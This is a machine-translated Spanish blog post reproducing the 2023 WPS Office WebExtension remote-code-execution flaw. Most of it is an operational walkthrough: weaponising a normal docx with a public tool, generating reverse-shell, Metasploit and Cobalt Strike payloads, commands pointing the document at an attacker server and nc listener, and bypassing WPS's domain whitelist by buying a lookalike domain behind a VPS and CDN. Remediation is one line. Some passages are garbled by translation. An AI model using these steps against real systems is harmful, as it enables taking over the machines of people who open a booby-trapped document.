[Recurrencia de vulnerabilidad] Vulnerabilidad de ejecución remota de código (RCE) de WPS Office 2023HVV


prefacio

La oficina WPS expuesta durante 2023HVV tiene una vulnerabilidad RCE que un atacante puede utilizar para ejecutar comandos arbitrarios y obtener permisos de control del servidor.


declaración

No utilice las tecnologías relevantes de este artículo para realizar pruebas ilegales. Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información o las herramientas proporcionadas en este artículo son responsabilidad del propio usuario. Todas las consecuencias adversas y El autor del artículo es irrelevante. Este artículo es sólo para fines educativos.

1. Descripción de la vulnerabilidad

WebExtension en Office (a menudo llamado complementos de Office o aplicaciones de Office) es una tecnología que se utiliza para ampliar la funcionalidad de Microsoft Office. Los complementos de Office permiten a los desarrolladores externos integrar sus propios servicios y funciones en las aplicaciones de Office. Estos complementos se desarrollan utilizando tecnologías web multiplataforma (como HTML, CSS y JavaScript) y pueden ejecutarse en diferentes plataformas y dispositivos.

Una comprensión simple es que Office tiene un navegador integrado que puede analizar código html/javascript/css. La vulnerabilidad esta vez es que WPS no pudo procesar correctamente el código javascript al procesar WebExtension, lo que provocó un desbordamiento de RCE (consulte la exposición anterior). de Chrome) vulnerabilidad RCE, la versión WeChat Windows <3.1.2.141 tiene vulnerabilidad RCE, que es similar)


2. Ámbito de influencia

  • WPS Office 2023 Edición personal < 11.1.0.15120
  • WPS Office 2019 Edición empresarial < 11.8.2.12085

3. Recurrencia de vulnerabilidades

Descargue el paquete del entorno de vulnerabilidad:
https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe

Servidor : vincula el nombre de dominio clientWeb.docer.wps.cn.****.wps.cny abre el servicio web. Hay un archivo html en el mismo directorio;
Cliente : inyecta la carga útil en un archivo docx normal, como https://clientweb.docer.wps.cn/shell/vpsIP/9000enviarlo al host de destino, abre el archivo docx y recupera exitosamente el Caparazón;

A continuación, reproducimos localmente. Al reproducir localmente, necesitamos modificar el archivo de hosts. Los hosts se cambian para que se ajusten a la forma de clientweb.docer.wps.cn.{****}.wps.cn, y los hosts El directorio de archivos es C:\windows\System32\drivers\etc.

En esta repetición, agregue el host como 127.0.0.1 clientweb.docer.wps.cn.****wps.cn. Como se muestra en la siguiente figura,
Insertar descripción de la imagen aquí
inicie el servicio HTTP
. Inicie el servicio http en el directorio POC. Comando de servicio: py -3 -m http.server 80
Insertar descripción de la imagen aquí
use el navegador para acceder a clientweb.docer.wps.cn.cloudwps.cn
Insertar descripción de la imagen aquí
y abra poc.docx para abrir la calculadora. .
Insertar descripción de la imagen aquí
Además de reproducir los métodos anteriores, la vulnerabilidad también se puede explotar aún más mediante scripts.

proyecto github: wps-rce

  • Instalar las dependencias correspondientes
  • Es necesario utilizar el programa python3.8以上的版本para ejecutarse correctamente.

instalación de pip3 -r requisito.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
Insertar descripción de la imagen aquí

Funciones del lado del servidor

  • El main.py del servidor está en el directorio del servidor. Este script de Python se utiliza para generar código HTML. También admite la generación de códigos de rebote Shell, MSF y CS.
  • Necesita comprar el nombre de dominio ****wps.cn
  • Necesito comprar VPS
  • El nombre de dominio clientwps.docer.wps.cn.***wps.cn debe resolverse en el VPS

Cuando se ejecuta main.py aquí, el puerto de escucha es el puerto 80 y se requieren privilegios de root.
Python inicia el servicio de script principal en el directorio del servidor
Insertar descripción de la imagen aquí

  • De forma predeterminada, para facilitar la vinculación con nombres de dominio, el puerto de escucha del servicio es 80.
  • Si desea utilizar Nginx/Caddy como proxy inverso, puede modificar el puerto usted mismo.
    Insertar descripción de la imagen aquí
    Acceda directamente a la dirección de resolución del nombre de dominio o al puerto VPS
    Insertar descripción de la imagen aquí
  • Este servidor está desarrollado en base al POC publicado en Internet, accediendo a la dirección correspondiente se puede generar directamente el código de utilización del programa correspondiente.
  • La URL corresponde a la lista de carga útil de CS y MSF.
    Insertar descripción de la imagen aquí
    Se puede acceder a ella directamente utilizando la IP del VPS. Pruebe localmente y vincule los hosts
    Insertar descripción de la imagen aquí
    para acceder a la prueba.
    Insertar descripción de la imagen aquí
    El entorno anterior ha sido configurado. A continuación, prepare la carga útil para la prueba: http:/ /clientweb.docer.wps.cn .lhhwps.cn/calc
    Crear un nuevo documento docx normal
    Insertar descripción de la imagen aquí

Funciones del cliente

  • El main.py del cliente en el directorio del cliente. Este script de Python se utiliza para generar archivos docx.
  • Es necesario proporcionar un archivo docx normal y la carga útil del ataque se insertará en este docx.
  • Debe basarse en la dirección URL proporcionada por el servidor creado anteriormente, similar a
    https://clientweb.docer.wps.cn.***wps.cn/shell/127.0.0.1/9000

Todas las condiciones anteriores están preparadas, ejecute el siguiente comando:
python3 main.py wps0day.docx http://clientweb.docer.wps.cn.lhhwps.cn/calc
Insertar descripción de la imagen aquí
Luego descargue el nuevo archivo generado al local, haga doble clic para ejecutar. Rebound Calc se ejecutó con éxito.
Insertar descripción de la imagen aquí
Además de bombardear calc, también puede usar el shell de rebote
Insertar descripción de la imagen aquí
para acceder a la ruta en el navegador. Los parámetros detrás del shell pueden ser modificados por usted mismo. Genere un nuevo documento docx usando la dirección modificada en el script. Descargue el archivo generado
Insertar descripción de la imagen aquí
al local, haga doble clic para ejecutar. ¡
Insertar descripción de la imagen aquí
Lo mismo se aplica a otros exploits ! ! !

Consejos 1: pruebas locales

  • Cuando utilice docx, debe comprar el nombre de dominio ***wps.cn. Si no tiene un nombre de dominio, simplemente puede probarlo localmente. Puede modificar el archivo hosts de su computadora y vincular el nombre de dominio manualmente. .
  • Instale la versión vulnerable de wps y modifique el archivo de hosts.
  • Modifique el archivo C:\Windows\System32\drivers\etc\hosts y agregue 127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn (tenga en cuenta que esta operación es para la conveniencia de las pruebas locales y se debe asignar un nombre de dominio). comprado para uso real.)
  • Tenga en cuenta que en el archivo de hosts agregado anteriormente, de acuerdo con la situación real, debe completarse 127.0.0.1. Esta IP es la dirección IP del servidor en ejecución. Si el servidor se está ejecutando en esta máquina, puede completar 127.0.0.1. Si se está ejecutando en otro servidor Linux, debe confirmar si se puede acceder a la dirección IP normalmente.
  • Seleccione la carga útil del servidor, ya sea para rebotar la calculadora, rebotar el shell, rebotar el msf o rebotar el cs.
  • Si se recupera el shell, se genera la URL, http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000.1.1.1.1 aquí debe modificarse a la IP del servidor que se ejecuta el comando nc.Esta dirección IP también puede utilizar nombres de dominio. Es necesario cambiar 9000 al puerto en el que escucha nc. (Tenga en cuenta que la IP y nc aquí están separadas, solo para aceptar el shell. Para evitar problemas, puede ejecutarlo directamente con el servidor que ejecuta el servidor).
  • Utilice el comando del cliente para generar el archivo docx de ataque, python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000
  • Copie el archivo wps_office_rce_***.docx generado en la computadora donde está instalado wps y haga doble clic para abrirlo en el cliente.

Consejo 2: restricciones de explotación de vulnerabilidades

1. Compre el nombre de dominio ***wps.cn

  • Dado que es causado por javascript en WebExtension, debe preparar el archivo html correspondiente. WebExtension admite la carga de html desde sitios web de terceros, por lo que debe habilitar los servicios web en la red pública para compartir archivos html.
  • Debido a las limitaciones de wps, cuando cargamos el html de un sitio web de terceros, wps se lo recordará, como se muestra en la siguiente imagen. En WPS, el nombre de dominio wps.cn está en la lista blanca, siempre que los recursos que carguemos estén en el sitio web wps.cn, no aparecerá tal mensaje. Pero no tenemos control sobre wps.cn.
    Insertar descripción de la imagen aquí
  • En WPS, hay una laguna en la detección de la lista blanca. El código puede usar la coincidencia normal de http://.*?.wps.cn. En esta coincidencia, obviamente hay una laguna. Solo necesitamos colocar el archivo html. En el sitio web http://hackwps.cn, puede evitar la detección.
  • Por lo tanto, si desea aprovechar esta vulnerabilidad, debe comprar un nombre de dominio, que solo debe contener wps.cn, como hackerwps.cn, xxxwps.cn.

2. Implemente el archivo html en el vps y vincule el nombre de dominio al vps.

  • Después de comprar el nombre de dominio y el vps, debe resolver el subdominio clientweb.docer.wps.cn.***wps.cn en el vps comprado, intentar configurar una capa de CDN y luego usar el proxy inverso nginx para el servicio construido. (Puede aprender e implementar nombres de dominio/vps/cdn específicos usted mismo).
  • El nombre del subdominio aquí debe ser clientweb.docer.wps.cn.***wps.cn; de lo contrario, no pasará la lista blanca.

4. Sugerencias de reparación

Actualizar a la última versión

Supongo que te gusta

Origin blog.csdn.net/weixin_46944519/article/details/132756250
Recomendado
Clasificación